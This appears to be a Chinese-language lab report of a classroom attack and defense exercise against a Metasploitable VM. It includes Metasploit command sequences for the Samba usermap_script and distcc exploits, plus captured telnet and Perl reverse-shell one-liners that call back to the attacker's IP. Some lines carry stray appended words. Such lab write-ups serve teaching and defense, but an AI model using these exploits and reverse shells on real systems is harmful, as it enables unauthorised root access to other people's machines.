在Metasploit滲透攻擊框架軟件中尋找一個針對Linux系統服務的滲透攻擊模塊,在網絡安全攻防實驗環境中部署有漏洞的環境(如滲透利用第三方網絡服務,須要找到並安裝存在特定漏洞的版本),並使用metasploit進行攻擊。html
攻擊方使用Metasploit滲透軟件針對Linux Metasploitable靶機實施網絡攻擊,防護方則在Metasploitatble上使用Tcpdump或Wireshark或Snort工具捕獲攻擊流,並分析出攻擊者利用了哪一個安全漏洞進行攻擊,從官方網站上下載該安全漏洞補丁進行系統修補,雙方合做給出攻防過程報告。linux
以下圖,三臺虛擬機使用Bridge方式聯網,攻擊機IP地址192.168.200.10,掃描機IP地址192.168.200.2;防守機IP地址192.168.200.11。shell
攻守雙方首先將虛擬機啓動起來,配置好網絡環境並測試網絡通暢後,攻守雙發分別進行接下來的操做。ubuntu
爲了確認防守方系統漏洞,攻方在掃描機上使用X-Scan3.3對防守機進行了一次全面漏洞掃描。安全
從上面的漏洞掃描能夠看出,防守機的漏洞不少,咱們可使用SMB漏洞、distcc漏洞等進行攻擊。由於SMB是Samba軟件的服務,而Samba服 務是運行在root權限下,因此一旦攻擊成功,將得到權限爲root的shell。咱們本次實驗主要使用SMB漏洞進行攻擊,並嘗試使用distcc漏洞。網絡
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit框架
back
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.200.11
set lhost 192.168.200.10
exploittcp
以下圖,攻擊成功後出現一個可使用的shell,可是沒有root權限。工具
但繼續輸入命令時卻沒有反應,後證明是被防守方人爲中斷了。
爲了使用更高權限的命令,咱們須要root權限的shell。所以再次使用SMB漏洞進行攻擊。在命令行下輸入以下命令,測試
back
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
sudo tcpdump –s 00 –w result.cap &
ps –e | more
所以能夠判定,攻擊機正在進行掃描,而真正的攻擊應該在最後。從後向前查看報文內容發現,倒數第二條報文是一個TCP數據包,其中報文的內容是正是reboot!能夠判定正是這條命令致使了系統重啓。
通過對報文仔細的分析,能夠肯定的攻擊有三次,分別以下圖所示,其中攻擊的漏洞和攜帶的攻擊腳本分別爲,
漏洞名稱 | 相關網址 | 攻擊腳本 | 執行的命令 |
---|---|---|---|
SMB漏洞 CVE-2007-2447 | http://www.samba.org/samba/security/CVE-2007-2447.html | nohup sh -c ‘(sleep 4495 | telnet 192.168.200.10 4444 |
Distcc漏洞 CVE-2004-2687 | http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2687 | perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,」192.168.200.10:4444」);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ | idusers |
同第一個 | 同第一個 | 同第一個 | idreboot |
sudo apt-get update
sudo apt-get install samba
sudo /etc/init.d/samba stop
sudo /etc/init.d/distcc stop